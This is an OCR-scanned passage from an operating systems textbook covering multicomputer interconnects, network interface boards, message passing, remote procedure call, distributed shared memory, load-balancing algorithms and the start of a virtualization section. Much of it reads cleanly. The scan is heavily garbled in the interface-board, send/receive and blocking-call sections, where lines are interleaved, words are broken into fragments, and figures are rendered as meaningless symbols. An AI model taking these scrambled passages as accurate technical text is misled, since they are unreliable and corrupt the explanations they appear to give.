along the path, as shown in Fig. 8-17(b). When the packet arnves at the sWItch 
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attached to the destination node, as shown in Fig. 8-17(c), the packet is copied to 
that node's network interface board and eventually to its RAM. I CPU 1 I Fo"" p'" input port 

switch Output port �;$_gIT RB tid. ;$*:;W IT �A *Id;W Il ········ JJ JJ ........ JJ JJ ........ JJ t:l t:l t:l t:l t:l . =t)ll t�tl l)-llH 
(a) 

Entire 
packet 

(b) 

Figure 8-17. Store-and·forward packet Switching . 

(c) 

Entire 
packet 

While store-and-forward packet switching is flexible and efficient, it does 
have the problem of increasing latency (delay) through the interconne�tion net�ork. Suppose that the time to move a packet one hop _ in Fig. 8-17 is T nsec. 
Smce the packet must be copied four times to get it from CPU I to CPU 2 (to A, 
to C: to n., and to the destination CPU), and no copy can begin until the previous 
one IS fimshed, the latency through the interconnection network is 4T. One way 
ou� is to design a network in which a packet can be logically divided into smaller 
umts. As soon as the first unit arrives at a switch, it can be forwarded, even be
fore the tail has arrived. Conceivably, the unit could be as small as 1 bit. 

The other switChing regime, circuit switching, consists of the first switch 
first establishing a path through all the switches to the destination switch. Once 
that path has been set up, the bits are pumped all the way from the source to the 
destination nonstop as fast as possible. There is no intermediate buffering at the 
intervening switches. Circuit switching requires a setup phase, which takes some 
time, but is faster once the setup has been completed. After the packet has been 
sent, the path must be torn down again. A variation on circuit switching, called 
wormhole routing, breaks each packet up into subpackets and allows the first 
subpacket to start flowing even before the full path has been buill. 

Network Interfaces 

All the nodes in a multicomputer have a plug-in board containing the node's 
connection to the interconnection network that holds the multicomputer together. 
The way these boards are built and how they connect to the main CPU and RAM 
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have substantial implications for the operating sy�tem. We will n�w briefly look 

at some of the issues here. This material is based m part on (�hOedJ:ng, �O
?�AM 

In virtual1 all multicomputers, the interface board conta�s Sil stanua 

for holding odrgoing and incoming packets. Us�ally, an
b

outgomg
.
ft:�k�� ht�: t��s� 

Oed to the interface board's RAM before It can e tr�nsml 
CO�� 

h The reason for this design is that many interconnectIOn networks are �yn
s:o��us so that once a packet transmission has s�arted, the �itS m�st contmue 

�OWing ;t a constant rate. If the packet is in the roam RAM, this contmuOus �ow 

out onto the network cannot be guaranteed due to other traffi� on the memor� us. 

Using a dedicated RAM on the interface board eliminates thIS problem. ThIs de-

sign is shown in Fig. 8-18. 
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board 
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Figure 8.18. Position of the network interface boards in a multicomputer. 

. ' . k tS The bits arrive from the net-
The same roblem occurs wIth mcommg pac e . . 

work at a con;tant and often extremely high rate. If the network I�terface bo�rd 

them l'n real time as they arrive, data will be lost. Agam here, trymg 
cannot store . R M '  . k S'nce 
to 0"0 over the system bus (e.g., the PCI bus) to the roam � . IS too ns y. I 

the
t:> 
network board is typically plugged into the PCI bus, thIS IS the O�IY �onnec

tion it has to the main RAM, so competing for this bus with the ?is a� every 

other I/O device is inevitable. It is safer to store in�oming packets m the mterface 

board's rivate RAM and then copy them to the mam RAM later. 

The�nterface board may have one or more DMA channels or even a complete 

CPU (or maybe even multiple CPUs) on board. The DMA c�annels can
b 
copy 

ackets between the interface board and the main RA� at hIgh speed y
. 
re

�uestino- block transfers on the system bus, thus transfemng severa� �ords :{l��

out ha�n to request the bus separately for each word, However: It IS preCIS Y 

this kind �f block transfer, which ties up the system bus for multiple bus cycles, 

that makes the interface board RAM necessary in the first place. 
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Many interrace boards have a full CPU on them, possibly in addition to one or 
more DMA channels. They are called network processors and are becoming 
increasingly powerful. This design means that the main CPU can offload some 
work to the network board, such as handling reliable transmission (if the underly
ing hardware can lose packets), multicasting (sending a packet to more than one 
destination), compression/decompression, encryption/decryption, and taking care 
of protection in a system with multiple processes. However, having two CPUs 
means that they must synchronize to avoid race conditions, which adds extra over
head and means more work for the operating system. 

8.2.2 Low-Level Communication Software 

The enemy of high-performance communication in multicomputer systems is 
excess copying of packets. In the best case, there will be one copy from RAM to 
the interface board at the source node, one copy from the source interface board to 
the destination interface board (if no storing and forwarding along the path oc
curs), and one copy from there to the destination RAM, a total of three copies. 
However, in many systems it is even worse. In particular, if the interface board is 
mapped into kernel virtual address space and not user virtual address spa¥e, a user 
process can only send a packet by issuing a system call that traps to the kerneL 
The kernels may have to copy the packets to their own memory both on output 
and on input, for example, to avoid page faults while transmitting over the net
work. Also, the receiving kernel probably does not know where to put incoming 
packets until it has had a chance to examine them. These five copy steps are illus
trated in Fig. 8-18. 

If copies to and from RAM are the bottleneck, the extra copies to and from 
the kernel may double the end-to-end delay and cut the throughput in half. To 
avoid this performance hit, many multicomputers map the interface board directly 
into user space and allow the user. process to put the packets on the board directly, 
without the kernel being involved, While this approach definitely helps per
formance, it introduces two problems. 

First, what if several processes are running on the node and need network ac
cess to send packets? Which one gets the interface board in its address space? 
Having a system call to map the board in and out of a virtual address space is ex
pensive, but if only one process gets the board, how do the other ones send pack
ets? And what happens if the board is mapped into process A's virtual address 
space and a packet arrives for process B, especially if A and.B have different own
ers, neither of whom wants to put in any effort to help the other? 

One solution is to map the interface board into all processes that need it, but 
then a mechanism is needed to avoid race conditions. For example, if A claims a 
buffer on the interface board, and then, due to a time slice, B runs and claims the 
same buffer, disaster results. Some kind of synchronization mechanism is needed, 
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but these mechanisms, such as mutexes, only work when the processes are as

sumed to be cooperating. In a timesharing environment with multiple users all in 

a hurry to get their work done, one user might just lock the mutex associated with 

the board and never release it. The conclusion here is that mapping the interface 

board into user space only really works well when there is just one user process 

running on each node unless special precautions are taken (for example, different 

processes get different portions of the interface RAM mapped into their address 

spaces). 
The second problem is that the kernel may well need access to the intercon-

nection network itself, for example, to access the file system on a remote node. 

Having the kernel share the interface board with any users is not a good idea, even 

on a timesharing basis. Suppose that while the board was mapped into user space, 

a kernel packet arrived. Or suppose that the user process sent a packet to a remote 

machine pretending to be the kernel. The conclusion is that the simplest design is 

to have two network interface boards, one mapped into user space for application 

traffic and one mapped into kernel space for use by the operating system. Many 

multicomputers do precisely this. 

Node to Network Interface Communication 

Another issue is how to get packets onto the interface board. The fastest way 

is to use the DMA chip on the board to just copy them in from RAM. The prob

lem with this approach is that DMA uses physical rather than virtual addresses 

and runs independently of the CPU. To start with, although a user process cer

tainly knows the virtual address of any packet it wants to send, it generally does 

not know the physical address. Making a system call to do the virtual-to-physical 

mapping is undesirable, since the point of putting the interface board in user space 

in the fIrst place was to avoid having to make a system call for each packet to be 

sent. 
In addition, if the operating system decides to replace a page while the DMA 

chip is copying a packet from it, the wrong data will be transmitted. Worse yet, if 

the operating system replaces a page while the DMA chip is copying an incoming 

packet to it, not only will the incoming packet be lost, but also a page of innocent 

memory will be ruined. 
These problems can be avoided by having system calls to pin and unpin pages 

in memory, marking them as temporarily unpageable, However, having to make a 

system call to pin the page containing each outgoing packet and then having to 

make another call later to unpin it is expensive. If packets are small, say, 64 bytes 

or less, the overhead for pinning and unpinning every buffer is prohibitive. For 

large packets, say, 1 KB or more, it may be tolerable. For sizes in between, it 

depends on the details of the hardware. Besides introducing a performance hit, 

pinning and unpinning pages adds to the software complexity, 
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8.2.3 User· Level Communication Software 

553 

Processes on different CPUs on a multic ' 

messages to one another. In the sim lest form 
0u:puter commum

.
cat� by sending 

the user processes. In other words � '. thIs message p�ssmg IS exposed to 

and receive messao-es and libra 
' e �peratmg system provIdes a way to send 

able to user proces�es
' 

In a mo:? pro
h
c,e �res

d
make these underlying calls avail-

. h.d 
. sop lstlcate fonn the actual . 

IS I den from users by makino- remote . . 
' message passmg 

We will study both of these m�hods bel�:�umcat1on look like a procedure call. 

Send and Receive 

At the barest minimum the com . . . 
to two (library) calls one for s d' 

mUfllcatlOn serVIces provided can be reduced 

call for sending a m�sage migh�n
b:ng messages and one for receiving them, The 

send(dest. &mptr); 

and the call for receiving a message might be 

receive(addr, &mptr); 

The fonner sends the message pointed to b 
and causes the caller to be blocked until t�e

mptr to a process identified by dest 

causes the caller to be blocked u ,.1 
message has been sent. The latter 

. 
n 1 a messa<Te arrives When 0 e d th 

sage IS copied to the buffer pointed to b 0 
• .n oes, e mes-

addr parameter specifies the address to w�i:;;[:�e 
and �e C�ll�: IS �nblocked. The 

ants of these two procedures and their par 
receIver. IS Istenmg. Many vari-

One issue is how address" 
a�eters ar� possIble, 

number of CPUs fixed th 
mg,1s done. Smce multIcomputers are static, with the 

two-part address consis�ing
e
O���;u

way t� handle addressing is to make addr a 

addressed CPU I tho 
num er and a process or port number on the 

. n IS way each CPU can . 

potential conflicts. 
manage ItS own addresses without 

Blocking versus Nonblocking Calls 

The calls described above are blo ki II ( 
. 

calls). When a process calls send ' 
c �g ca s s�me!lmes called synchronous 

that destination While th 
' It �pec�fies a deStInatIon and a buffer to send to 

. . e message IS bemg sent the di . 
(I.e., suspended), The instruction foIl ' 0- h

' sen .' n?, process IS blocked 

the message has been completely sent
o:;:h�W

e �all �o send IS not .ex
.
ecuted until 

to receive does not return control until n III FIg. 8-19(a), Smularly, a call 

put in the message buffer pointed to b 
a :essage has actually been recei:ed and 

pended in receive until a messao-e arriv�s e:�:am
f 

.
,
e'

ak
er. T

h
he process remams sus-

o , I 1 t es ours, In some systems, 



554 MULTIPLE PROCESSOR SYSTEMS CHAP. 8 

the receiver can specify from whom it wish:s to receive, in which case it remains 

blocked until a message from that sender amves. 
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Figure 8-19. (a) A blocking send call. (b) A nonblocking send calL 
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course, the message will not yet have been sent, but the sender is not hindered by this fact. The disadvantage of this method is that every outgoing message has to be copied from user space to kernel space. With many network interfaces, the message wiIl have to be copied to a hardware transmission buffer later anyway, so the first copy is essentially wasted. The extra copy can reduce the perronnance of the system considerably. 

The second solution is to interrupt the sender when the message has been fully sent to infonn it that the buffer is once again available. No copy is reqUired here, which saves time, but user-level interrupts make programming tricky, difficult, and subject to race conditions, which makes them irreproducible and nearly impossible to debug. 
The third solution is to make the buffer copy on write, that is, to mark it as read-only until the message has been sent. If the buffer is reused before the message has been sent, a copy is made. The problem with this solution is that unless the buffer is isolated on its own page, writes to nearby variables will also force a copy. Also, extra administration is needed because the act of sending a message now implicitly affects the read/write status of the page. Finally, sooner or later the page is likely to be written again, triggering a copy that may no longer be necessary. 
Thus the choices on the sending side are 

1 .  Blocking send (CPU idle during message transmission). 

2. Nonblocking send with copy (CPU time wasted for the extra copy). 

3. Nonblocking send with interrupt (makes programming difficult). 

4. Copy on write (extra copy probably needed eventually). 

Under normal conditions, the first choice is the best one, especially if multiple 
threads are available, in which case while one thread is blocked trying to send, 
other threads can continue working. It also does not require any kernel buffers to 
be managed. Furthermore, as can be seen from comparing Fig. 8-19(a) to Fig. 8-
19(b), the message will usually be out the door faster if no copy is required. 

For the record, we would like to point out that some authors use a different 
criterion to distinguish synchronous from asynchronous primitives. In the alterna
tive view, a can is synchronous only if the sender is blocked until the message has 
been received and an acknowledgement sent back (Andrews, 1991). In the world 
of real-time communication, synchronous has yet another meaning, which can 
lead to confusion, unfortunately. 

Just as send can be blocking or nonblocking, so can receive. A blocking call 
just suspends the caller until a message has arrived. If mUltiple threads are avail
able, this is a simple approach. Alternatively, a nonblocking receive just tells the 
kernel where the buffer is and returns control almost immediately. An interrupt 
can be used to signal that a message has arrived. However, interrupts are difficult 
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to program and are also quite slow, so it may be preferable for the receiver to poll 
for incoming messages using a procedure, poll, that tells whether any messages 
are waiting. If so, the caller can call geL message, which returns the first arrived 
message. In some systems, the compiler can insert poll calls in the code at 
appropriate places, although knowing how often to poll is tricky. 

Yet another option is a scheme in which the arrival of a message causes a new 
thread to be created spontaneously in the receiving process' address space. Such a 
thread is called a pop-up thread. It runs a procedure specified in advance and 
whose parameter is a pointer to the incoming message. After processing the mes
sage, it simply exits and is automatically destroyed. 

A variant on this idea is to run the receiver code directly in the interrupt hand
ler, without going to the trouble of creating a pop�up thread. To make this scheme 
even faster, the message itself contains the address of the handler, so when a mes
sage arrives, the handler can be called in a few instructions. The big win here is 
that no copying at all is needed. The handler takes the message from the interface 
board and processes it on the fly. This scheme is called active messages (Von 
Bicken et aI., 1992). Since each message contains the address of the handler, ac
tive messages only work when senders and receivers trust each other completely. 

8.2.4 Remote Procedure Call 

Although the message-passing model provides a convenient way to structure a 
multicomputer operating system, it suffers from one incurable flaw: the basic 
paradigm around which all communication is built is input/output. The procedures 
send and receive are fundamentally engaged in doing I/O, and many people 
believe that I/O is the wrong programming model. 

This problem has long been known, but little was done about it until a paper 
by Birrell and Nelson (1984) introduced a completely different way of attacking 
the problem. Although the idea is refreshingly simple (once someone has thought 
of it), the implications are often subtle. In this section we will examine the COn
cept, its implementation, its strengths, and its weaknesses. 

In a nutshell, what Birrell and Nelson suggested was a1lowing programs to 
call procedures located on other CPUs. When a process on machine 1 calls a pro� 
cedure on machine 2, the calling process on 1 is suspended, and execution of the 
called procedure takes place on 2. Information can be transported from the caller 
to the callee in the parameters and can corne back in the procedure result. No 
message passing or I/O at all is visible to the programmer. This teChnique is 
known as RPC (Remote Procedure Call) and has become the basis of a large 
amount of multicomputer software. Traditionally the calling procedure is known 
as the client and the called procedure is known as the server, and we will use 
those names here too. 

The idea behind RPC is to make a remote procedure call look as much as pos
sible like a local one. In the simplest form, to call a remote procedure, the client 
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way the caller can because the two procedures reside in the same virtual address 
space. With RPC, passing pointers is impossible because the client and server are 
in different address spaces. 

In some cases, tricks can be used to make it possible to pass pointers. Suppose 
that the first parameter is a pointer to an integer, k. The client stub can marshal k 
and send it along to the server. The server stub then creates a pointer to k and 
passes it to the server procedure, just as it expects. When the server procedure re
turns control to the server stub, the latter sends k back to the client, where the new 
k is copied oyer the old one, just in case the server changed it. In effect, the stan
dard calling sequence of call-by-reference has been replaced by copy-restore. 
Unfortunately, this trick does not always work, for example, if the pointer points 
to a graph or other complex data structure. For this reason, some restrictions must 
be placed on parameters to procedures called remotely. 

A second problem is that in weakly typed languages, like C, it is perfectly 
legal to write a procedure that computes the inner product of two vectors (arrays), 
without specifying how large either one is. Each could be terminated by a special 
value known only to the calling and called procedures. Under these circum
stances, it is essentially impossible for the client stub to marshal the parameters: it 
has no way of determining how large they are. 

A third problem is that it is not always possible to deduce the types of the pa
rameters, not even from a formal specification or the code itself. An example is 
printf, which may have any number of parameters (at least one), and they can be 
an arbitrary mixture of integers, shorts, longs, characters, strings, floating-point 
numbers of various lengths, and other types. Trying to call printj as a remote pro
cedure would be practically impossible because C is so permissive. However, a 
rule saying that RPC can be used provided that you do not program in C (or C++) 
would not be popular. 

A fourth problem relates to the use of global variables. Normally, the calling 
and called procedures may communicate using global variables, in addition to 
communicating via parameters. If the called procedure is now moved to a remote 
machine, the code will fail because the global variables are no longer shared. 

These problems are not meant to suggest that RPC is hopeless. In fact, it is 
widely used, but some restrictions and care are needed to make it work well in 
practice. 

8.2.5 Distributed Shared Memory 

Although RPC has its attractions, many programmers still prefer a model of 
shared memory and would like to use it, even on a multicomputer. Surprisingly 
enough, it is possible to preserve the illusion of shared memory reasonably well, 
even when it does not actually exist, using a teChnique called DSM (Distributed 
Shared Memory) CLi, 1986; and Ii and Hudak, 1989). With DSM, each page is 
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the faulting instruction, which now completes successfully. This concept is illus
trated in Fig. 8-22(a) for an address space with 1 6  pages and four nodes, each 
capable of holding six pages. 

Globally shared virtual memory consisting of 16 pages 

Memory 

CPU 0 CPU 1 CPU 2 CPU 3 

Network 
(a) 

0 0 0  0 0 0  0 0 El  @] @]  
0 �  0 @J B  

GPU O CPU 1 CPU 2 CPU 3 

I I I I 
(b) 

0 0 0  0 0 0  0 0 El  @] @]  
0 �  0 �  @J B  

CPU 0 CPU 1 CPU 2 CPU 3 

I I I I 
(e) 

Figure 8.22. (a) Pages of the address space distributed among four machines. 
(b) Situation after CPU 1 references page 10 and the page is moved there. (c) 
Situation if page 10 is read only and replication is used. 

In this example, if CPU 0 references instructions or data in pages 0, 2, S, or 9, 
the references are done locally. References to other pages cause traps. For ex
ample, a reference to an address in page 1 0  will cause a trap .to �e DSM software, 
which then moves page 10 from node 1 to node 0, as shown III FIg. 8-22(b). 
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Replication 

One improvement to the basic system that can improve perfonnance consid
erably is to replicate pages that are read only, for example, program text, read
only constants, or other read-only data structures. For example. if page lO in 
Fig. 8-22 is a section .of program text, its use by CPU 0 can result in a copy being 
sent to CPU 0 without the original in CPU l ' s memory being disturbed, as shown 
in Fig. 8-22(c). In this way, CPUs 0 and 1 can both reference page 10 as often as 
needed without causing traps to fetch missing memory. 

Another possibility is to replicate not only read-only pages, but also all pages. 
As long as reads are being done, there is effectively no difference between repli
cating a read-only page and replicating a read-write page: However, if a replicated 
page is suddenly modified, speci.al action has to be taken to prevent having multi
ple, inconsistent copies in existence. How inconsistency is prevented will be dis
cussed in the following sections. 

False Sharing 

DSM systems are similar to mUltiprocessors in certain key ways. In both sys
tems, when a nonlocal memory word is referenced, a chunk of memory cC1I1taining 
the word is fetched from its current location and put on the machine making the 
reference (main memory or cache, respectively). An important design issue is 
how big the chunk should be? In multiprocessors, the cache block size is usually 
32 or 64 bytes, to avoid tying up the bus with the transfer too long. In DSM sys
tems, the unit has to be a multiple of the page size (because the MMU works with 
pages), but it can be 1 ,  2,4, or more pages. In effect, doing this simulates a larger 
page size. 

There are advantages and disadvantages to a larger page size for DSM. The 
biggest advantage is that because the startup time for a network transfer is fairly 
substantial, it does not really take much longer to transfer 4096 bytes than it does 
to transfer 1024 bytes. By transferring data in large units, when a large piece of 
address space has to be moved, the number of transfers may often be reduced. 
This property is especially important because many programs exhibit locality of 
reference, meaning that if a program has referenced one word on a page, it is like
ly to reference other words on the same page in the immediate future. 

On the other hand, the network will be tied up longer with a larger transfer, 
blocking other faults caused by other processes. Also, too large .an effective page 
size introduces a new problem, called false sharing, illustrated in Fig. 8-23. Here 
we have a page containing two unrelated shared variables, A and B. Processor 1 
makes heavy use of A, reading and writing it. Similarly, process 2 uses B fre
quently. Under these circumstances, the page containing both variables will con
stantly be traveling back and forth between the two machines. 
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Network 

Figure 8-23. False sharing of a page containing two unrelated variables. 

The problem here is that although the variables are unrelated, they appear by 
accident on the same page, so when a process uses one of them, it also gets the 
other. The larger the effective page size, the more often false sharing will occur, 
and conversely, the smaller the effective page size, the less often it will occur. 
Nothing analogous to this phenomenon is present in ordinary virtual memory sys
tems. 

Clever compilers that understand the problem and place variables in the ad
dress space accordingly, can help reduce false sharing and improve performance. 
However, saying this is easier than doing it. Furthermore, if the false sharing. con
sists of node 1 using one element of an array and node 2 using a different element 
of the same array, there is little that even a clever compiler can do to eliminate the 
problem. 

Achieving Sequential Consistency 

If writable pages are not replicated, achieving consistency is not an issue. 
There is exactly one copy of each writable page, and it is moved back and forth 
dynamically as needed. Since it is not always possible to see in advance which 
pages are writable, in many DSM systems, when a process tries to read a remote 
page, a local copy is made and both the local and remote copies are set up in their 
respective MMUs as read only. As long as all references are reads, everything is 
fine. 

However, if any process attempts to write on a replicated page, a potential 
consistency problem arises because changing one copy and leaving the others 
alone is unacceptable. This situation is analogous to what happens in a mUltiproc
essor when one CPU attempts to modify a word that is present in mUltiple caches. 
The solution there is for the CPU about to do the write to first put a signal on the 
bus telling all other CPUs to discard their copy of the cache block. DSM systems 
typically work the same way. Before a shared page can be written, a message is 
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sent to all other CPUs holding a copy of the page telling them to unmap and dis
�ard the page. After all of them have replied that the unmap has finished, the orig
mal CPU can now do the write. 

�t is als.o possible to tolerate m�ltiple copies of writable pages under carefully 
restncted CIrcumstances. One way IS to allow a process to acquire a lock _ 

ti f th . 1 ddr 
on a por 

. on 0 e vlrtua a .  ess space, and then perform multiple read and write opera-
nons on the locked memory. At the time the lock is released, changes can be pro
pagated .to other copies. As long as only one CPU can lock a page at a given mo
ment, thIS scheme preserves consistency. 

. Alternatively, v:hen a potentially writable page is actually written for the first 
tIme, a clean copy IS made and saved on the CPU doing the write. Locks on the 
page can then be acquired, the page updated, and the locks released. Later when a 
proces� on a remote machine �es to acquire a lock on the page, the CPU that 
wrote It earl

.
ie� compares the current state of the page to the clean copy and builds 

a ��ssage hsung all the words that have changed. This list is then sent to the ac
qumng CPU to update its copy instead of invalidating it (Keleher et aI., 1994). 

8.2.6 Multicomputer Scheduling 

. 
On � multiprocessor, all processes reside in the same memory. When a CPU 

fimshes It� current. task, it picks a process and runs it. In principle, all processes 
are potentIal c�ndidates. On a multicomputer the situation is quite different. 
Each nod� has Its own memory and its own set of processes. CPU 1 cannot sud
denly deCIde to ru� a process located on node 4 without first doing a fair amount 
of �ork to go ge.t It. This difference means that scheduling on multicomputers is 
eaSIer. but allocatIon of processes to nodes is mOre important. Below we will study 
these ISSUes. 

Multicomputer sche,duling �s somewhat similar to multiprocessor scheduling, 
but not al� of the fo:mer s algonthms apply to the latter. The simplest multiproces
sor algonthm-r.namtaining a single central list of ready processes-does not 
work however, smce each process can only run on the CPU it is currently located 
on. However, when a new process is created, a choice can be made where to place 
it, for example to balance the load. 

Since each n?d� has its own processes, any local scheduling algorithm can be 
used. However, �t IS als? possible to use multiprocessor gang scheduling, since 
that merely reqUIres an Illloal agreement on which process to run in which time 
slot, and some way to coordinate the start of the time slots. 

8.2.7 Load Balancing 

There is relatively little to say about multicomputer scheduling because once 
a process has been assigned to a node, any local scheduling algorithm will do, 
unless gang scheduling is being used. However, precisely because there is so little 
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control once a process has been assigned to a node, the decision abou� which 
process sho�ld go on which node is important. This is in contrast to multIproces
sor systems, in which all processes live in the same memory and can be scheduled 
on any CPU at wilL Consequently, it is worth looking at how �ro?esses ca� be 3:
signed to nodes in an effective way. The algorithms and heunstlcs for domg thIS 
assionment are known as processor allocation algorithms. A large number of processor (i.e., node) allocation algorithms have been pro
posed over the years. They differ in what they assume is known and wha� the goal 
is. Properties that might be known about a process include the CPU reqUIrements, 
memory usage, and amount of communication with every other process. P?�si�Ie 
goals include minimizing wasted CPU cycles due to lack of local work, mmmllZ
ina total communication bandwidth, and ensuring fairness to users and processes. 
B:low we will examine a few algorithms to give an idea of what is possible. 

A Graph�Theoretic Deterministic Algorithm 

A widely studied class of algorithms is for systems consisting of processes 
with known CPU and memory requirements, and a known matrix giving the aver
age amount of traffic between each pair of processes. If th� number of proc.esses 
is greater than the number of CPUs, k, several processes Will have to be assIgned 
to each CPU. The idea is to perfonn this assignment to minimize network traffic. 

The system can be represented as a weighted graph, with each vertex being a 
process and each arc representing the flow of messages between �v:o pr

.
ocesses. 

Mathematically, the problem then reduces to finding a way to partIt10n (I.e., cut) 
the graph into k disjoint subgraphs, subject to certain constraints (e.g., total CPU 
and memory requirements below some limits for each subgraph). For each solu
tion that meets the constraints, arcs that are entirely within a single subgraph 
represent intramachine communication and can be ignored. Arcs that go from one 
subgraph to another represent network traffic. The goal is then to fin? the parti
tioning that minimizes the network traffic while meeting all the constramts. As an 
example, Fig. 8-24 shows a system of nine processes, A through J, with each arc 
labeled with the mean communication load between those two processes (e.g., in 
Mbps). 

In Fig. 8�24(a), we have partitioned the graph with processes A, E, and G on 
node 1 ,  processes B, F, and H on node 2, and processes C, D, and J on node 3. 
The total network traffic is the sum of the arcs intersected by the cuts (the dashed 
lines), or 30 units. In Fig. 8-24(b) we have a different partitioning that has only 
28 units of network traffic. Assuming that it meets all the memory and CPU con
straints, this is a better choice because it requires less communication. 

Intuitively, what we are doing is looking for clusters that are tightly coupled 
(high intracluster traffic flow) but which interact little with other clusters (low 
intercluster traffic flow). Some of the earliest papers discussing the problem are 
(Chow and Abraham, 1982; Lo, 1984; and Stone and Bokhari, 1978). 
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Figure 8·24. Two ways of allocating nine processes to three nodes. 

A Sender-Initiated Distributed Heuristic Algorithm 

o 

4 

Now let us look at some distributed algorithms. One algorithm says that when 
a process is created, it runs on the node that created it unless that node is 
overloaded .

. 
The metric for overloaded might involve too many processes, too big 

a total working set, or some other metric. If it is overloaded, the node selects an
other node at random and asks it what its load is (using the same metri(O:). If the 
probed node's load is below some threshold value, the new process is sent there 
(Eager et al., 1986). If not, another machine is chosen for probing. Probing does 
n�t go on forever. If no suitable host is found within N probes, the algorithm ter
mmates and the process n:ns on the originating machine. The idea is for heavily �oaded nod�s 

.
t� try to get nd of excess work, as shown in Fig. 8-25(a), which dep

Icts sender-mitlated load balancing. 

o 0 0 
o 0 o 

o o o 
(a) 

I'm bored , 

(b) 

Figure 8-25. (a) An overloaded node looking for a lightly loaded node to hand 
off processes to. (b) An empty node looking for work to do. 
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Eager et a1. (1986) constructed an analytical queueing model of this alg�

fithm. Using this model, it was established that the algorithm behaves well and IS 

stable under a wide range of parameters, including vaIious threshold values, trans

fer costs, and probe limits. 
Nevertheless it should be observed that under conditions of heavy load, all 

machines will c�nstantlY send probes to other machines in a futile attempt to find 

one that is willing to accept more work. Few processes will be off loaded, but 

considerable overhead may be incurred in the attempt to do so. 

A Receiver-Initiated Distributed Heuristic Algorithm 

A complementary algorithm to the one given above, whic� is initiated by �n 
overloaded sender, is one initiated by an underloaded receIver, as shown m 
Fig. 8-25(b). With this algorithm, whenever a process finishes, the system check.s 
to see if it has enough work. If not, it picks some machine at randon: and ask� It 
for work. If that machine has nothing to offer, a second, and then. a third mac�me 
is asked. If no work is found with N probes, the node temporanly stop� askmg, 
does any work it has queued up, and tries again when the next proc�ss �mshes. :f 
no work is available, the machine goes idle. After some fixed time mterval, It 
begins probing again. 

An advantage of this algorithm is that it does not put extra load on the system 
at critical times. The sender-initiated algorithm makes large numbers of pro�es 
precisely when the system can least tolerate it-�hen it. is heavily loaded� WIth 
the receiver-initiated algorithm, when the system IS heav1ly loaded, the chance �f 
a machine havino insufficient work is small. However, when this does happen, It 
will be easy to fi�d work to take over. Of course, when there is little work to do, 
the receiver-initiated algorithm creates considerable probe traffic as all the unem
ployed machines desperately hunt for work. However, it i� �ar better to have the 
overhead go up when the system is underloaded than when It IS overloaded .. It is also possible to combine both of these algorithms �nd have machmes try 
to get rid of work when they have too much, and try to acqUIre work when they.do 
not have enough. Furthermore, machines can perhaps improv� on random P?l1mg 
by keeping a history of past probes to determine if any machmes �e chroTIlcally 
underloaded or overloaded. One of these can be tried fust, dependmg on whether 
the initiator is trying to get rid of work or acquire it. 

8.3 VIRTUALIZATION 

In some situations, an organization has a multicomputer but does not actually 
want it. A common example is where a company has an e-mail server, a Web s�r
ver an FfP server some e-commerce servers, and others. These all run on dlf
fer�nt computers i� the same equipment rack, all connected by a high-speed net
work, in other words, a multicomputer. In some cases, all these servers nm on 
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separate ma�hines because one machine cannot handle the load, but in many other 
cases the pnmary reason not to run all these services as processes on the same 
machine is reliability: management simply does not trust the operating system to 
run 24 hours a day, 365 or 366 days a year, with no failures. By putting each ser
vice on a separate computer, if one of the servers crashes, at least the other ones 
�e not affected. While fault tolerance is achieved this way, this solution is expen
SIve and hard to manage because so many machines are involved. 

What to do? Virtual machine technology, often just called virtnalization, 
which is more than 40 years old, has been proposed as a solution, as we discussed 
in Sec. 1 .7.5. This technology allows a single computer to host multiple virtual 
machines, each potentially running a different operating system. The advantage 
of this approach is that a failure in one virtual machine does not automaticalIy 
bring down any others. On a �irtualized system, different servers can run on dif
ferent virtual machines, thus maintaining the partial failure model that a 
multicomputer has, but at a much lower cost and with easier maintainability. 

Of course, consolidating servers like this is like putting all of your eggs in one 
basket. If the server running all the virtual machines fails, the result is even more 
catastrophic than a single dedicated server crashing. The reason virtualization 
works however, is that most service outages are not due to faulty hardware, but 
due to bloated, unreliable, buggy software, especially operating systems. With vir
tual ma�hine technology, the only software running in kernel mode is the hypervi
sor, whIch has two orders of magnitude fewer lines of code than a full operating 
system, and thus two orders of magnitude fewer bugs. 

Running software in virtual machines has other advantages in addition to 
strong isolation. One of them is that having fewer physical machines saves 
money on hardware and electricity and takes up less office space. For a company 
such as Amazon, Yahoo, Microsoft, or Google, which may have hundreds of 
thousands of servers doing a huge variety of different tasks, reducing the physical 
demands on their data centers represents a huge cost savings. Typically, in large 
companies, individual departments or groups think of an interesting idea and then 
go out and buy a server to implement it. If the idea catches on and hundreds or 
thousands of servers are needed, the corporate data center expands. It is often 
hard to move the software to existing machines because each application often 
needs a different version of the operating system, its own libraries, configuration 
files, and more. With virtual machines, each application can take its own environ
ment with it. 

Another advantage of virtual machines is that checkpointing and migrating 
virtual machines (e.g., for load balancing across mUltiple servers) is much easier 
than migrating processes running on a nonnal operating system. In the latter case, 
a fair amount of critical state infonnation about every process is kept in operating 
system tables, including infonnation relating to open files, alarms, signal handlers, 
and more. When migrating a virtual machine, all that has to be moved is the mem
ory image, since all the operating system tables move too. 
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Another use for virtual machines is to run legacy applications on operating 
systems (or operating system versions) no longer supported or which do not work 
on current hardware, These can run at the same time and on the same hardware as 
current applications. In fact, the ability to run at the same time applications that 
use different operating systems is a big argument in favor of virtual machines. 

Yet another important use of virtual machines is software development. 
. 
A 

programmer who wants to make sure his software works on Windows 98, Wm
dows 2000, Windows XP, Windows Vista, several versions of Linux, FreeBSD, 
OpenBSD, NetBSD, and Mac as x no longer has to get a dozen computers and 
install different operating systems on all of them. Instead he merely create a dozen 
virtual machines on a single computer and installs different operating systems on 
each one. Of course, the programmer could have partitioned the hard disk and 
installed a different operating system in each partition, but this approach is more 
difficult. First of all, standard pes support only four primary disk partitions, no 
matter how big the disk is. Second.. although a multiboot program could be in
stalled in the boot block, it would be necessary to reboot the computer to work on 
a new operating system. With virtual machines, all of them can run at once, since 
they are really just glorified processes. 

8.3.1 Requiremeuts for Virtualization 

As we saw in Chap. I ,  there are two approaches to virtualization. One kind of 
hypervisor, dubbed a type 1 hypervisor (or virtual machine monitor) is illus
trated in Fig. 1-29(a). In reality, it is the operating system, since it is the only pro
gram running in kernel mode. Its job is to support multiple copies of the actual 
hardware, called virtual machines, similar to the processes a normal operating 
system supports. In contrast, a type 2 hypervisor, shown in Fig. 1-29(b), is a 
completely different kind of animal. It is just a user program running on, say, 
Windows or Linux that " interprets" the machine's instruction set, which also 
creates a virtual machine. We put "interprets" in quotes because usually chunks 
of code are processed in a certain way and then cached and executed directly to 
improve perfonnance, but in principle, full interpretation would work, albeit slow
